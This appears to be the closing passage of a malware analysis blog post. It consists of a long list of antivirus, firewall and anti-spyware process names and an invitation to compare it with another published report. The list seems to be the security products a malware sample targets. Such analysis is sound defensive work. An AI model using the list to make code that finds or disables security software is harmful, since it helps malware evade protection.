    • avginet.exe

    • avgupsvc.exe

    • avp.exe

    • avpm.exe

    • blink.exe

    • blinkrm.exe

    • blinksvc.exe

    • bootsafe.exe

    • cclaw.exe

    • cdas17.exe

    • cdinstx.exe

    • clamd.exe

    • cmdagent.exe

    • configmgr.exe

    • cpf.exe

    • dcsuserprot.exe

    • dfw.exe

    • dvpapi.exe

    • eeyeevnt.exe

    • elogsvc.exe

    • emlproui.exe

    • emlproxy.exe

    • fameh32.exe

    • fch32.exe

    • firewall 2004.exe

    • fpavserver.exe

    • fprottray.exe

    • fsaua.exe

    • fsav32.exe

    • fsbwsys.exe

    • fsdfwd.exe

    • fsgk32.exe

    • fsgk32st.exe

    • fsguidll.exe

    • fsguiexe.exe

    • fsm32.exe

    • fsma32.exe

    • fsmb32.exe

    • fspc.exe

    • fspex.exe

    • fsqh.exe

    • fsrt.exe

    • fssm32.exe

    • fw.exe

    • fwsrv.exe

    • gateway.exe

    • icmon.exe

    • ike.exe

    • ipatrol.exe

    • ipcsvc.exe

    • ipctray.exe

    • jpf.exe

    • jpfsrv.exe

    • kav.exe

    • kavmm.exe

    • kpf

    • kpf4ss.exe

    • licwiz.exe

    • live help.exe

    • lpfw.exe

    • mpsvc.exe

    • netguard lite.exe

    • netmon.exe

    • nip.exe

    • njeeves.exe

    • nstzerospywarelite.exe

    • nvcoas.exe

    • nvcsched.exe

    • nvoy.exe

    • oeinject.exe

    • omnitray.exe

    • onlinent.exe

    • onlnsvc.exe

    • op_mon.exe

    • pcipprev.exe

    • pf6.exe

    • pfsvc.exe

    • pgaccount.exe

    • procguard.exe

    • pxagent.exe

    • pxconsole.exe

    • rdtask.exe

    • r-firewall.exe

    • rtt_crc_service.exe

    • sab_wab.exe

    • scanwscs.exe

    • sp_rsser.exe

    • spfirewallsvc.exe

    • sppfw.exe

    • spyhunter3.exe

    • spywareterminator.exe

    • spywareterminatorshield.exe

    • ssupdate.exe

    • superantispyware.exe

    • swnetsup.exe

    • swupdate.exe

    • sww.exe

    • tikl.exe

    • tinykl.exe

    • tray.exe

    • tsansrf.exe

    • tsatisy.exe

    • tscutynt.exe

    • tsmpnt.exe

    • umxagent.exe

    • umxcfg.exe

    • umxfwhlp.exe

    • umxlu.exe

    • umxpol.exe

    • umxtray.exe

    • updclient.exe

    • vcatch.exe

    • vdtask.exe

    • vsdesktop.exe

    • vsmon.exe

    • wsweepnt.exe

    • wwasher.exe

    • xauth_service.exe

    • xfilter.exe

    • zanda.exe

    • zerospyware le.exe

    • zerospyware lite.exe

    • zerospyware lite_installer.exe

    • zlclient.exe

    • zlh.exe


    Now, the final exercise.

    Compare the lists above to the ones reported here and try to spot 10 differences.

    Look similar, don't they?

    Update (31 May 2012): changed Tossy into Tosy.